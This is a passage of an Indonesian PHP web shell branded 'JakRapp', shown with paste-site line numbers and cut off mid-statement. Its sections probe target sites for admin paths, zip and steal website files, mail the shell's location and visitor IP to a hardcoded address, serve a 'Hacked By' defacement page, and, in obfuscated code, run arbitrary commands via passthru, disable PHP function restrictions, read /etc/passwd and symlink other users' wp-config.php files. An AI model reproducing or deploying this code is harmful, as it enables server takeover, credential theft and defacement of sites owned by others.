  3159. if($_POST['xploit_404string'] != "") if(strpos($data, $_POST['xploit_404string'])) return 0;
  3160. return 1;
  3161. }
  3162.  
  3163. // --------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
  3164. template();
  3165. if(!isset($_POST['xploit_url'])) die;
  3166. if($_POST['xploit_url'] == '') die;
  3167. $site = $_POST['xploit_url'];
  3168. if ($site[strlen($site)-1] != "/") $site .= "/";
  3169. if($_POST['xploit_404string'] == "") $false = @file_get_contents($site."d65897f5380a21a42db94b3927b823d56ee1099a-this_can-t_exist.html");
  3170. $list['end'] = str_replace("\r", "", $list['end']);
  3171. $list['front'] = str_replace("\r", "", $list['front']);
  3172. $pathes = explode("\n", $list['end']);
  3173. $frontpathes = explode("\n", $list['front']);
  3174. show(count($pathes)+count($frontpathes), 1, 0, 'total', 1);
  3175. $verificate = 0;
  3176. foreach($pathes as $path) {
  3177. show('Checking '.$site.$path.' : ', 0, 0, 'logbox', 0);
  3178. $verificate++; show($verificate, 0, 0, 'verified', 1);
  3179. if(check($path) == 0) show('not found', 1, 0, 'logbox', 0);
  3180. else{
  3181. show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
  3182. show('<a href="'.$site.$path.'">'.$site.$path.'</a>', 1, 0, 'rightcol', 0);
  3183. }
  3184. }
  3185. preg_match("/\/\/(.*?)\//i", $site, $xx); $site = $xx[1];
  3186. if(substr($site, 0, 3) == "www") $site = substr($site, 4);
  3187. foreach($frontpathes as $frontpath) {
  3188. show('Checking http://'.$frontpath.'.'.$site.'/ : ', 0, 0, 'logbox', 0);
  3189. $verificate++; show($verificate, 0, 0, 'verified', 1);
  3190. if(check($frontpath, 1) == 0) show('not found', 1, 0, 'logbox', 0);
  3191. else{
  3192. show('<span style="color: #FF0000;"><strong>found</strong></span>', 1, 0, 'logbox', 0);
  3193. show('<a href="http://'.$frontpath.'.'.$site.'/">'.$frontpath.'.'.$site.'</a>', 1, 0, 'rightcol', 0);
  3194. }
  3195.  
  3196. }
  3197. }
  3198. ?>
  3199. <?php
  3200. if(isset($_GET['jak']) && ($_GET['jak'] == 'maling')){ ?>
  3201. <form action="?y=<?php echo $pwd; ?>&amp;jak=maling" method="post">
  3202. <form method="post" action="" enctype="multipart/form-data">
  3203. <input type=text name=sites size=40></nobr><br>
  3204. <input type="submit" name="go" value="Colong!" style="margin: 5px auto; hight: 25px; width: 100px;">
  3205. </form>
  3206. <?php
  3207. $site = explode("\r\n", $_POST['sites']);
  3208. $go = $_POST['go'];
  3209. if($go) {
  3210. foreach($site as $sites) {
  3211. @session_start();
  3212. @error_reporting(0);
  3213. @ini_set('error_log',NULL);
  3214. @ini_set('log_errors',0);
  3215. @ini_set('max_execution_time',0);
  3216. @ini_set('display_errors', 0);
  3217. @set_time_limit(0);
  3218. $folder="$sites";
  3219. $output="hasil-maling.zip";
  3220. $zip = new ZipArchive();
  3221.  
  3222. if ($zip->open($output, ZIPARCHIVE::CREATE) !== TRUE) {
  3223. die ("Unable to open Archirve");
  3224. }
  3225.  
  3226. $all= new RecursiveIteratorIterator(new RecursiveDirectoryIterator($folder));
  3227.  
  3228. foreach ($all as $f=>$value) {
  3229. $zip->addFile(realpath($f), $f) or die ("ERROR: Unable to add file: $f");
  3230. }
  3231. $zip->close();
  3232. echo "Selamat Anda Berhasil Mencuri Data Website ";
  3233. }
  3234. }
  3235. }
  3236. ?>
  3237. <?php
  3238. @ini_set('output_buffering', 0);
  3239. @ini_set('display_errors', 0);
  3240. set_time_limit(0);
  3241. ini_set('memory_limit', '64M');
  3242. header('Content-Type: text/html; charset=UTF-8');
  3243. $tujuanmail = '[email protected]';
  3244. $x_path = "http://" . $_SERVER['SERVER_NAME'] . $_SERVER['REQUEST_URI'];
  3245. $pesan_alert = "fix $x_path :p *IP Address : [ " . $_SERVER['REMOTE_ADDR'] . " ]";
  3246. mail($tujuanmail, "Maho", $pesan_alert, "[ " . $_SERVER['REMOTE_ADDR'] . " ]");
  3247. ?>
  3248. <?php
  3249. if(isset($_GET['jak']) && ($_GET['jak'] == 'about'))
  3250. {
  3251. ?>
  3252. <form action="?y=<?php echo $pwd; ?>&jak=about" method="post">
  3253. <html>
  3254. <head>
  3255. <title>JakRapp</title>
  3256. <meta content='Hacked By JakRapp' name='description'/>
  3257. <meta content='Hacked By JakRapp, Tested By JakRapp, JakRapp Was Here, wned By JakRapp, JakRapp Come Back, Security By JakRapp, Tusboled By JakRapp, Anon JakRapp, Hacker JakRapp, Haxor JakRapp, JakRapp One Comando, sabun by jakrapp, JakRapp Defacer, Deface By JakRapp' name='keywords'/>
  3258. <meta content='index,follow' name='robots'/>
  3259. <link href='http://www.jakrapp.com/favicon.ico' rel='icon' type='image/x-icon'/>
  3260. <style type="text/css">*{margin:0;padding:0;-webkit-box-sizing:border-box;-moz-box-sizing:border-box;-ms-box-sizing:border-box;-o-box-sizing:border-box;box-sizing:border-box}body,html{margin:0;padding:0;font:16px/1.4 Lato,sans-serif;color:#fefeff;-webkit-font-smoothing:antialiased;font-smoothing:antialiased;font-family:Comic Sans MS}body{background:#080510;-webkit-touch-callout:none;-webkit-user-select:none;-khtml-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}h1{font:2.75em Cinzel,serif;font-weight:400;letter-spacing:.35em;text-shadow:0 0 25px rgba(254,254,255,.85)}h2{font:1.45em Cinzel,serif;font-weight:400;letter-spacing:.5em;text-shadow:0 0 25px rgba(254,254,255,.85);text-transform:lowercase}[class^=letter]{-webkit-transition:opacity 3s ease;-moz-transition:opacity 3s ease;transition:opacity 3s ease}.letter-0{transition-delay:.2s}.letter-1{transition-delay:.4s}.letter-2{transition-delay:.6s}.letter-3{transition-delay:.8s}.letter-4{transition-delay:1s}.letter-5{transition-delay:1.2s}.letter-6{transition-delay:1.4s}.letter-7{transition-delay:1.6s}.letter-8{transition-delay:1.8s}.letter-9{transition-delay:2s}.letter-10{transition-delay:2.2s}.letter-11{transition-delay:2.4s}.letter-12{transition-delay:2.6s}.letter-13{transition-delay:2.8s}.letter-14{transition-delay:3s}h1,h2{visibility:hidden;-webkit-transform:translate3d(0,0,0);-moz-transform:translate3d(0,0,0);transform:translate3d(0,0,0)}h1.transition-in,h2.transition-in{visibility:visible}h1 [class^=letter],h2 [class^=letter]{opacity:0}h1.transition-in [class^=letter],h2.transition-in [class^=letter]{opacity:1}#container{display:table;position:absolute;z-index:20;width:100%;height:100%;text-align:center;cursor:none}#container>div{display:table-cell;vertical-align:middle}#container p{position:absolute;width:100%;left:0;bottom:25px;font-size:.8em;letter-spacing:.1em;font-weight:300;color:#76747a;-webkit-font-smoothing:subpixel-antialiased;font-smoothing:subpixel-antialiased}#container p strong{color:#b3abc5}#container p span{font-size:.75em;padding:0 2px}#canvas{position:absolute;z-index:10;top:0;left:0;width:100%;height:100%;cursor:none}#stats{position:absolute;z-index:10;left:10px;top:10px}.dg.ac{z-index:100!important}.STYLE4{color:#FFF}
  3261. </style>
  3262. </head>
  3263. <body>
  3264. <body ondragstart="window.event.returnValue=false" oncontextmenu="window.event.returnValue=false" onselectstart="event.returnValue=false">
  3265. <div id="container">
  3266. <div><br><br><br><br><br><br><br><br>
  3267. <h1 id="h1">JakRapp</h1>
  3268. </br>
  3269. <h2 id="h2">Pasukan Berani Mati | Indonesian Fighter Cyber</h2>
  3270. <br><br><br><br><br><br><br><br><br><br><br><br><br><br>
  3271. <h3></h3>
  3272. <h3 id="h3">&nbsp; </h3>
  3273. </div>
  3274. </div>
  3275. <canvas id="canvas"></canvas>
  3276. <script>
  3277. var Stats=function(){var e=Date.now(),t=e,i=0,n=1/0,r=0,s=0,o=1/0,a=0,l=0,h=0,c=document.createElement("div");c.id="stats",c.addEventListener("mousedown",function(e){e.preventDefault(),v(++h%2)},!1),c.style.cssText="width:80px;opacity:0.9;cursor:pointer";var u=document.createElement("div");u.id="fps",u.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#002",c.appendChild(u);var d=document.createElement("div");d.id="fpsText",d.style.cssText="color:#0ff;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",d.innerHTML="FPS",u.appendChild(d);var p=document.createElement("div");for(p.id="fpsGraph",p.style.cssText="position:relative;width:74px;height:30px;background-color:#0ff",u.appendChild(p);74>p.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#113",p.appendChild(f)}var m=document.createElement("div");m.id="ms",m.style.cssText="padding:0 0 3px 3px;text-align:left;background-color:#020;display:none",c.appendChild(m);var g=document.createElement("div");g.id="msText",g.style.cssText="color:#0f0;font-family:Comic Sans MS;font-size:9px;font-weight:bold;line-height:15px",g.innerHTML="MS",m.appendChild(g);var y=document.createElement("div");for(y.id="msGraph",y.style.cssText="position:relative;width:74px;height:30px;background-color:#0f0",m.appendChild(y);74>y.children.length;){var f=document.createElement("span");f.style.cssText="width:1px;height:30px;float:left;background-color:#131",y.appendChild(f)}var v=function(e){switch(h=e){case 0:u.style.display="block",m.style.display="none";break;case 1:u.style.display="none",m.style.display="block"}},b=function(e,t){var i=e.appendChild(e.firstChild);i.style.height=t+"px"};return{REVISION:11,domElement:c,setMode:v,begin:function(){e=Date.now()},end:function(){var h=Date.now();return i=h-e,n=Math.min(n,i),r=Math.max(r,i),g.textContent=i+" MS ("+n+"-"+r+")",b(y,Math.min(30,30-30*(i/200))),l++,h>t+1e3&&(s=Math.round(1e3*l/(h-t)),o=Math.min(o,s),a=Math.max(a,s),d.textContent=s+" FPS ("+o+"-"+a+")",b(p,Math.min(30,30-30*(s/100))),t=h,l=0),h},update:function(){e=this.end()}}};
  3278. </script>
  3279. <script>
  3280. ;(function(window) {
  3281. var ctx,
  3282. hue,
  3283. logo,
  3284. form,
  3285. buffer,
  3286. target = {},
  3287. tendrils = [],
  3288. settings = {};
  3289. settings.debug = true;
  3290. settings.friction = 0.5;
  3291. settings.trails = 20;
  3292. settings.size = 50;
  3293. settings.dampening = 0.25;
  3294. settings.tension = 0.98;
  3295. Math.TWO_PI = Math.PI * 2;
  3296. // ========================================================================================
  3297. // Oscillator
  3298. // ----------------------------------------------------------------------------------------
  3299. function Oscillator(options) {
  3300. this.init(options || {});
  3301. }
  3302. Oscillator.prototype = (function() {
  3303. var value = 0;
  3304. return {
  3305. init: function(options) {
  3306. this.phase = options.phase || 0;
  3307. this.offset = options.offset || 0;
  3308. this.frequency = options.frequency || 0.001;
  3309. this.amplitude = options.amplitude || 1;
  3310. },
  3311. update: function() {
  3312. this.phase += this.frequency;
  3313. value = this.offset + Math.sin(this.phase) * this.amplitude;
  3314. return value;
  3315. },
  3316. value: function() {
  3317. return value;
  3318. }
  3319. };
  3320. })();
  3321. // ========================================================================================
  3322. // Tendril
  3323. // ----------------------------------------------------------------------------------------
  3324. function Tendril(options) {
  3325. this.init(options || {});
  3326. }
  3327. Tendril.prototype = (function() {
  3328. function Node() {
  3329. this.x = 0;
  3330. this.y = 0;
  3331. this.vy = 0;
  3332. this.vx = 0;
  3333. }
  3334. return {
  3335. init: function(options) {
  3336. this.spring = options.spring + (Math.random() * 0.1) - 0.05;
  3337. this.friction = settings.friction + (Math.random() * 0.01) - 0.005;
  3338. this.nodes = [];
  3339. for(var i = 0, node; i < settings.size; i++) {
  3340. node = new Node();
  3341. node.x = target.x;
  3342. node.y = target.y;
  3343. this.nodes.push(node);
  3344. }
  3345. },
  3346. update: function() {
  3347. var spring = this.spring,
  3348. node = this.nodes[0];
  3349. node.vx += (target.x - node.x) * spring;
  3350. node.vy += (target.y - node.y) * spring;
  3351. for(var prev, i = 0, n = this.nodes.length; i < n; i++) {
  3352. node = this.nodes[i];
  3353. if(i > 0) {
  3354. prev = this.nodes[i - 1];
  3355. node.vx += (prev.x - node.x) * spring;
  3356. node.vy += (prev.y - node.y) * spring;
  3357. node.vx += prev.vx * settings.dampening;
  3358. node.vy += prev.vy * settings.dampening;
  3359. }
  3360. node.vx *= this.friction;
  3361. node.vy *= this.friction;
  3362. node.x += node.vx;
  3363. node.y += node.vy;
  3364. spring *= settings.tension;
  3365. }
  3366. },
  3367. draw: function() {
  3368. var x = this.nodes[0].x,
  3369. y = this.nodes[0].y,
  3370. a, b;
  3371. ctx.beginPath();
  3372. ctx.moveTo(x, y);
  3373. for(var i = 1, n = this.nodes.length - 2; i < n; i++) {
  3374. a = this.nodes[i];
  3375. b = this.nodes[i + 1];
  3376. x = (a.x + b.x) * 0.5;
  3377. y = (a.y + b.y) * 0.5;
  3378. ctx.quadraticCurveTo(a.x, a.y, x, y);
  3379. }
  3380. a = this.nodes[i];
  3381. b = this.nodes[i + 1];
  3382. ctx.quadraticCurveTo(a.x, a.y, b.x, b.y);
  3383. ctx.stroke();
  3384. ctx.closePath();
  3385. }
  3386. };
  3387. })();
  3388. // ----------------------------------------------------------------------------------------
  3389. function init(event) {
  3390. document.removeEventListener('mousemove', init);
  3391. document.removeEventListener('touchstart', init);
  3392. document.addEventListener('mousemove', mousemove);
  3393. document.addEventListener('touchmove', mousemove);
  3394. document.addEventListener('touchstart', touchstart);
  3395. mousemove(event);
  3396. reset();
  3397. loop();
  3398. }
  3399. function reset() {
  3400. tendrils = [];
  3401. for(var i = 0; i < settings.trails; i++) {
  3402. tendrils.push(new Tendril({
  3403. spring: 0.45 + 0.025 * (i / settings.trails)
  3404. }));
  3405. }
  3406. }
  3407. function loop() {
  3408. if(!ctx.running) return;
  3409. ctx.globalCompositeOperation = 'source-over';
  3410. ctx.fillStyle = 'rgba(8,5,16,0.4)';
  3411. ctx.fillRect(0, 0, ctx.canvas.width, ctx.canvas.height);
  3412. ctx.globalCompositeOperation = 'lighter';
  3413. ctx.strokeStyle = 'hsla(' + Math.round(hue.update()) + ',90%,50%,0.25)';
  3414. ctx.lineWidth = 1;
  3415. if(ctx.frame % 60 == 0) {
  3416. console.log(hue.update(), Math.round(hue.update()), hue.phase, hue.offset, hue.frequency, hue.amplitude);
  3417. }
  3418. for(var i = 0, tendril; i < settings.trails; i++) {
  3419. tendril = tendrils[i];
  3420. tendril.update();
  3421. tendril.draw();
  3422. }
  3423. ctx.frame++;
  3424. ctx.stats.update();
  3425. requestAnimFrame(loop);
  3426. }
  3427. function resize() {
  3428. ctx.canvas.width = window.innerWidth;
  3429. ctx.canvas.height = window.innerHeight;
  3430. }
  3431. function start() {
  3432. if(!ctx.running) {
  3433. ctx.running = true;
  3434. loop();
  3435. }
  3436. }
  3437. function stop() {
  3438. ctx.running = false;
  3439. }
  3440. function mousemove(event) {
  3441. if(event.touches) {
  3442. target.x = event.touches[0].pageX;
  3443. target.y = event.touches[0].pageY;
  3444. } else {
  3445. target.x = event.clientX
  3446. target.y = event.clientY;
  3447. }
  3448. event.preventDefault();
  3449. }
  3450. function touchstart(event) {
  3451. if(event.touches.length == 1) {
  3452. target.x = event.touches[0].pageX;
  3453. target.y = event.touches[0].pageY;
  3454. }
  3455. }
  3456. function keyup(event) {
  3457. switch(event.keyCode) {
  3458. case 32:
  3459. save();
  3460. break;
  3461. default:
  3462. // console.log(event.keyCode);
  3463. }
  3464. }
  3465. function letters(id) {
  3466. var el = document.getElementById(id),
  3467. letters = el.innerHTML.replace('&amp;', '&').split(''),
  3468. heading = '';
  3469. for(var i = 0, n = letters.length, letter; i < n; i++) {
  3470. letter = letters[i].replace('&', '&amp');
  3471. heading += letter.trim() ? '<span class="letter-' + i + '">' + letter + '</span>' : '&nbsp;';
  3472. }
  3473. el.innerHTML = heading;
  3474. setTimeout(function() {
  3475. el.className = 'transition-in';
  3476. }, (Math.random() * 500) + 500);
  3477. }
  3478. function save() {
  3479. if(!buffer) {
  3480. buffer = document.createElement('canvas');
  3481. buffer.width = screen.availWidth;
  3482. buffer.height = screen.availHeight;
  3483. buffer.ctx = buffer.getContext('2d');
  3484. form = document.createElement('form');
  3485. form.method = 'post';
  3486. form.input = document.createElement('input');
  3487. form.input.type = 'hidden';
  3488. form.input.name = 'data';
  3489. form.appendChild(form.input);
  3490. document.body.appendChild(form);
  3491. }
  3492. buffer.ctx.fillStyle = 'rgba(8,5,16)';
  3493. buffer.ctx.fillRect(0, 0, buffer.width, buffer.height);
  3494. buffer.ctx.drawImage(canvas,
  3495. Math.round(buffer.width / 2 - canvas.width / 2),
  3496. Math.round(buffer.height / 2 - canvas.height / 2)
  3497. );
  3498. buffer.ctx.drawImage(logo,
  3499. Math.round(buffer.width / 2 - logo.width / 4),
  3500. Math.round(buffer.height / 2 - logo.height / 4),
  3501. logo.width / 2,
  3502. logo.height / 2
  3503. );
  3504. window.open(buffer.toDataURL(), 'wallpaper', 'top=0,left=0,width=' + buffer.width + ',height=' + buffer.height);
  3505. // form.input.value = buffer.toDataURL().substr(22);
  3506. // form.submit();
  3507. }
  3508. window.requestAnimFrame = (function() {
  3509. return window.requestAnimationFrame || window.webkitRequestAnimationFrame || window.mozRequestAnimationFrame || function(fn) { window.setTimeout(fn, 1000 / 60) };
  3510. })();
  3511. window.onload = function() {
  3512. ctx = document.getElementById('canvas').getContext('2d');
  3513. ctx.stats = new Stats();
  3514. ctx.running = true;
  3515. ctx.frame = 1;
  3516. logo = new Image();
  3517. logo.src = 'http://labs.nikrowell.com/lightsandmotion/ultraviolet/images/logo.png';
  3518. hue = new Oscillator({
  3519. phase: Math.random() * Math.TWO_PI,
  3520. amplitude: 85,
  3521. frequency: 0.0015,
  3522. offset: 285
  3523. });
  3524. letters('h1');
  3525. letters('h2');
  3526. document.addEventListener('mousemove', init);
  3527. document.addEventListener('touchstart', init);
  3528. document.body.addEventListener('orientationchange', resize);
  3529. window.addEventListener('resize', resize);
  3530. window.addEventListener('keyup', keyup);
  3531. window.addEventListener('focus', start);
  3532. window.addEventListener('blur', stop);
  3533. resize();
  3534. if(window.DEBUG) {
  3535. var gui = new dat.GUI();
  3536. // gui.add(settings, 'debug');
  3537. settings.gui.add(settings, 'trails', 1, 30).onChange(reset);
  3538. settings.gui.add(settings, 'size', 25, 75).onFinishChange(reset);
  3539. settings.gui.add(settings, 'friction', 0.45, 0.55).onFinishChange(reset);
  3540. settings.gui.add(settings, 'dampening', 0.01, 0.4).onFinishChange(reset);
  3541. settings.gui.add(settings, 'tension', 0.95, 0.999).onFinishChange(reset);
  3542. document.body.appendChild(ctx.stats.domElement);
  3543. }
  3544. };
  3545. })(window);
  3546. </script>
  3547. <embed src="https://www.youtube.com/v/oWqWNMNFZlU&amp;autoplay=1" type="application/x-shockwave-flash" allowscriptaccess="always" allowfullscreen="true" width="1" height="0">
  3548. <body oncontextmenu="return false" onselectstart="return false" ondragstart="return false"></body>
  3549. <script type="text/javascript">
  3550. //form tags to omit in NS6+:
  3551. var omitformtags=["input", "textarea", "select"]
  3552. omitformtags=omitformtags.join("|")
  3553. function disableselect(e){
  3554. if (omitformtags.indexOf(e.target.tagName.toLowerCase())==-1)
  3555. return false
  3556. }
  3557. function reEnable(){
  3558. return true
  3559. }
  3560. if (typeof document.onselectstart!="undefined")
  3561. document.onselectstart=new Function ("return false")
  3562. else{
  3563. document.onmousedown=disableselect
  3564. document.onmouseup=reEnable
  3565. }
  3566. </script>
  3567. <body onkeydown="return false">
  3568. <body onselectstart="return false">
  3569. </body>
  3570. </html>
  3571. <script type="text/javascript" src="http://blogparts.giffy.me/0117/parts.js"></script><p style="text-align: center;margin:0;padding:0;"><a
  3572. <cite>
  3573. <?php
  3574. }
  3575. //////////////////////////////////////////////////////////////////////////////
  3576.  
  3577. ?>
  3578. <?php
  3579. if(isset($_GET['jak']) && ($_GET['jak'] == 'crack')){ ?>
  3580. <form action="?y=<?php echo $pwd; ?>&amp;jak=crack" method="post">
  3581. <?php
  3582. $ {
  3583. "GLOBALS"
  3584. }
  3585. ["urgtxxu"]="password";
  3586. $ {
  3587. "GLOBALS"
  3588. }
  3589. ["tmwmkkbdjy"]="data";
  3590. $ {
  3591. "GLOBALS"
  3592. }
  3593. ["trhahkqrevw"]="connect_timeout";
  3594. $ {
  3595. "GLOBALS"
  3596. }
  3597. ["onsdfdthx"]="finalpass";
  3598. $ {
  3599. "GLOBALS"
  3600. }
  3601. ["qkfpdhf"]="target";
  3602. $ {
  3603. "GLOBALS"
  3604. }
  3605. ["wqykbxlcrzw"]="finaluser";
  3606. $ {
  3607. "GLOBALS"
  3608. }
  3609. ["iasgvgve"]="passlist";
  3610. $ {
  3611. "GLOBALS"
  3612. }
  3613. ["afrrfxkgbv"]="userl";
  3614. $ {
  3615. "GLOBALS"
  3616. }
  3617. ["cywofo"]="userlist";
  3618. $ {
  3619. "GLOBALS"
  3620. }
  3621. ["ainkhzdg"]="timeout";
  3622. $ {
  3623. "GLOBALS"
  3624. }
  3625. ["cmlkxbh"]="cracked";
  3626. $ {
  3627. "GLOBALS"
  3628. }
  3629. ["jtxbycj"]="attack";
  3630. $ {
  3631. "GLOBALS"
  3632. }
  3633. ["avvdiennau"]="passl";
  3634. $ {
  3635. "GLOBALS"
  3636. }
  3637. ["pkxusn"]="rt";
  3638. $ {
  3639. "GLOBALS"
  3640. }
  3641. ["mpzmgvjrk"]="pf";
  3642. $ {
  3643. "GLOBALS"
  3644. }
  3645. ["frnguil"]="d";
  3646. $ {
  3647. "GLOBALS"
  3648. }
  3649. ["oqvsusmuih"]="users";
  3650. $ {
  3651. "GLOBALS"
  3652. }
  3653. ["nheadbdqjtu"]="db";
  3654. $ {
  3655. "GLOBALS"
  3656. }
  3657. ["jqbdqptiz"]="pass";
  3658. $ {
  3659. "GLOBALS"
  3660. }
  3661. ["dseeueq"]="dbp";
  3662. $ {
  3663. "GLOBALS"
  3664. }
  3665. ["smposrbewu"]="uxl";
  3666. $ {
  3667. "GLOBALS"
  3668. }
  3669. ["ytygxi"]="result";
  3670. $ {
  3671. "GLOBALS"
  3672. }
  3673. ["clcexgoc"]="ch";
  3674. $ {
  3675. "GLOBALS"
  3676. }
  3677. ["ghpkiod"]="co";
  3678. $ {
  3679. "GLOBALS"
  3680. }
  3681. ["tfufwtkggg"]="usersss";
  3682. $ {
  3683. "GLOBALS"
  3684. }
  3685. ["xqjsjx"]="ffile";
  3686. $ {
  3687. "GLOBALS"
  3688. }
  3689. ["pmtirjsjc"]="ar1";
  3690. $ {
  3691. "GLOBALS"
  3692. }
  3693. ["kerydmcjzyb"]="ar";
  3694. $ {
  3695. "GLOBALS"
  3696. }
  3697. ["jlqnbkqdiu"]="marqueurFinLien";
  3698. $ {
  3699. "GLOBALS"
  3700. }
  3701. ["ggmdrvtscl"]="ar0";
  3702. $ {
  3703. "GLOBALS"
  3704. }
  3705. ["cphxtevrvxlx"]="uss";
  3706. $ {
  3707. "GLOBALS"
  3708. }
  3709. ["nfkxmppan"]="us";
  3710. $ {
  3711. "GLOBALS"
  3712. }
  3713. ["fdrsjdqvvfa"]="usr";
  3714. $ {
  3715. "GLOBALS"
  3716. }
  3717. ["wwtfekdukc"]="f";
  3718. $ {
  3719. "GLOBALS"
  3720. }
  3721. ["mppsifb"]="user";
  3722. $ {
  3723. "GLOBALS"
  3724. }
  3725. ["tnsglnuwozs"]="str";
  3726. $ {
  3727. "GLOBALS"
  3728. }
  3729. ["estpmxtrsymy"]="link";
  3730. $ {
  3731. "GLOBALS"
  3732. }
  3733. ["ukikdh"]="r";
  3734. $pfsmvyqq="head";
  3735. $ {
  3736. "GLOBALS"
  3737. }
  3738. ["puhmppjk"]="head";
  3739. $ {
  3740. $ {
  3741. "GLOBALS"
  3742. }
  3743. ["puhmppjk"]
  3744. }
  3745. ="
  3746. <html>
  3747. <head>
  3748.  
  3749. </script>";
  3750. echo "<html>
  3751. <head>
  3752. ";
  3753. echo$ {
  3754. $pfsmvyqq
  3755. }
  3756. ;
  3757.  
  3758.  
  3759. if ($_POST['digicnsr']){
  3760. $digicnsr = $_POST['digicnsr'];
  3761. passthru($digicnsr);
  3762. }
  3763. echo "<body bgcolor=black><h3 style=\"text-align:center\"><font color=red size=2 face=\"comic sans ms\">
  3764. <form method=post>
  3765. <input type=submit name=ini value=\"Buka Semvak Dulu kak ^_^\" /><p></form>
  3766. ";
  3767. if(isset($_POST["ini"])) {
  3768. $tuyukblaw="rr";
  3769. $ {
  3770. "GLOBALS"
  3771. }
  3772. ["vpmwuoumuy"]="rr";
  3773. $zcbtdlw="r";
  3774. $ {
  3775. $zcbtdlw
  3776. }
  3777. =fopen("php.ini","w");
  3778. $ {
  3779. "GLOBALS"
  3780. }
  3781. ["bkdfntbucf"]="link";
  3782. $ {
  3783. $tuyukblaw
  3784. }
  3785. =" disable_functions=none ";
  3786. fwrite($ {
  3787. $ {
  3788. "GLOBALS"
  3789. }
  3790. ["ukikdh"]
  3791. }
  3792. ,$ {
  3793. $ {
  3794. "GLOBALS"
  3795. }
  3796. ["vpmwuoumuy"]
  3797. }
  3798. );
  3799. $ {
  3800. $ {
  3801. "GLOBALS"
  3802. }
  3803. ["bkdfntbucf"]
  3804. }
  3805. ="<a href=php.ini><font color=white size=2 face=\"comic sans ms\"><u>di buka dulu semvaknya kak ^_^</u></font></a>";
  3806. echo$ {
  3807. $ {
  3808. "GLOBALS"
  3809. }
  3810. ["estpmxtrsymy"]
  3811. }
  3812. ;
  3813. }
  3814. $ {
  3815. "GLOBALS"
  3816. }
  3817. ["fhuebeob"]="userl";
  3818. echo "<form method=post><p>
  3819. <input type=submit name=\"usre\" value=\"di pencet dulu kak ^_^\" /></form>
  3820. ";
  3821. if(isset($_POST["usre"])) {
  3822. $ {
  3823. "GLOBALS"
  3824. }
  3825. ["nmgxpcpfqbz"]="users";
  3826. $ {
  3827. "GLOBALS"
  3828. }
  3829. ["ooteonyawj"]="users";
  3830. $ulpomnmkws="user";
  3831. echo "<form method=post>
  3832. <textarea rows=10 cols=30 name=user>";
  3833. $ {
  3834. $ {
  3835. "GLOBALS"
  3836. }
  3837. ["ooteonyawj"]
  3838. }
  3839. =file("/etc/passwd");
  3840. foreach($ {
  3841. $ {
  3842. "GLOBALS"
  3843. }
  3844. ["nmgxpcpfqbz"]
  3845. }
  3846. as$ {
  3847. $ulpomnmkws
  3848. }
  3849. ) {
  3850. $ {
  3851. $ {
  3852. "GLOBALS"
  3853. }
  3854. ["tnsglnuwozs"]
  3855. }
  3856. =explode(":",$ {
  3857. $ {
  3858. "GLOBALS"
  3859. }
  3860. ["mppsifb"]
  3861. }
  3862. );
  3863. $ {
  3864. "GLOBALS"
  3865. }
  3866. ["withojrurut"]="str";
  3867. echo$ {
  3868. $ {
  3869. "GLOBALS"
  3870. }
  3871. ["withojrurut"]
  3872. }
  3873. [0]."
  3874. ";
  3875. }
  3876. echo "</textarea><br><br>
  3877. <input type=submit name=su value=\"SODOMI\" /></form>
  3878. ";
  3879. }
  3880. error_reporting(0);
  3881. echo"<font color=red size=2 face=\"comic sans ms\">";
  3882. if(isset($_POST["su"])) {
  3883. $tpllhfwoe="r";
  3884. $ {
  3885. "GLOBALS"
  3886. }
  3887. ["lyvnzejugsvu"]="uss";
  3888. $tcorpxovnr="dir";
  3889. $ {
  3890. "GLOBALS"
  3891. }
  3892. ["kveejcvk"]="f";
  3893. $ {
  3894. "GLOBALS"
  3895. }
  3896. ["rueiegknmuns"]="consym";
  3897. $ {
  3898. $tcorpxovnr
  3899. }
  3900. =mkdir("idbte4m-gitu-loh",0777);
  3901. $ {
  3902. $tpllhfwoe
  3903. }
  3904. =" Options all
  3905. DirectoryIndex idbte4m-gitu-loh.html
  3906. Require None
  3907. Satisfy Any";
  3908. $ {
  3909. $ {
  3910. "GLOBALS"
  3911. }
  3912. ["wwtfekdukc"]
  3913. }
  3914. =fopen("idbte4m-gitu-loh/.htaccess","w");
  3915. fwrite($ {
  3916. $ {
  3917. "GLOBALS"
  3918. }
  3919. ["kveejcvk"]
  3920. }
  3921. ,$ {
  3922. $ {
  3923. "GLOBALS"
  3924. }
  3925. ["ukikdh"]
  3926. }
  3927. );
  3928. $ {
  3929. $ {
  3930. "GLOBALS"
  3931. }
  3932. ["rueiegknmuns"]
  3933. }
  3934. ="<a href=idbte4m-gitu-loh/><font color=white size=3 face=\"comic sans ms\">Look This kak ^_^</font></a>";
  3935. echo"<br>ini kak lubang pantatnya di bawah<br><u><font color=red size=2 face=\"comic sans ms\">$consym</font></u>";
  3936. $ {
  3937. $ {
  3938. "GLOBALS"
  3939. }
  3940. ["fdrsjdqvvfa"]
  3941. }
  3942. =explode("
  3943. ",$_POST["user"]);
  3944. foreach($ {
  3945. $ {
  3946. "GLOBALS"
  3947. }
  3948. ["fdrsjdqvvfa"]
  3949. }
  3950. as$ {
  3951. $ {
  3952. "GLOBALS"
  3953. }
  3954. ["lyvnzejugsvu"]
  3955. }
  3956. ) {
  3957. $ {
  3958. "GLOBALS"
  3959. }
  3960. ["ykxuxbudxwd"]="us";
  3961. $nnfijewaq="us";
  3962. $ {
  3963. $ {
  3964. "GLOBALS"
  3965. }
  3966. ["nfkxmppan"]
  3967. }
  3968. =trim($ {
  3969. $ {
  3970. "GLOBALS"
  3971. }
  3972. ["cphxtevrvxlx"]
  3973. }
  3974. );
  3975. $ {
  3976. "GLOBALS"
  3977. }
  3978. ["hqkbkbp"]="r";
  3979. $ {
  3980. "GLOBALS"
  3981. }
  3982. ["tjipdfjxt"]="us";
  3983. $digicnsr="r";
  3984. $ilinfsl="us";
  3985. $nttomrctg="r";
  3986. $wtsjldlfks="r";
  3987. $ {
  3988. $wtsjldlfks
  3989. }
  3990. ="idbte4m-gitu-loh/";
  3991. $ {
  3992. "GLOBALS"
  3993. }
  3994. ["siqthtb"]="us";
  3995. $emvqckjm="us";
  3996. symlink("/home/".$ {
  3997. $ {
  3998. "GLOBALS"
  3999. }
  4000. ["nfkxmppan"]
  4001. }
  4002. ."/public_html/wp-config.php",$ {
  4003. $ {
  4004. "GLOBALS"
  4005. }
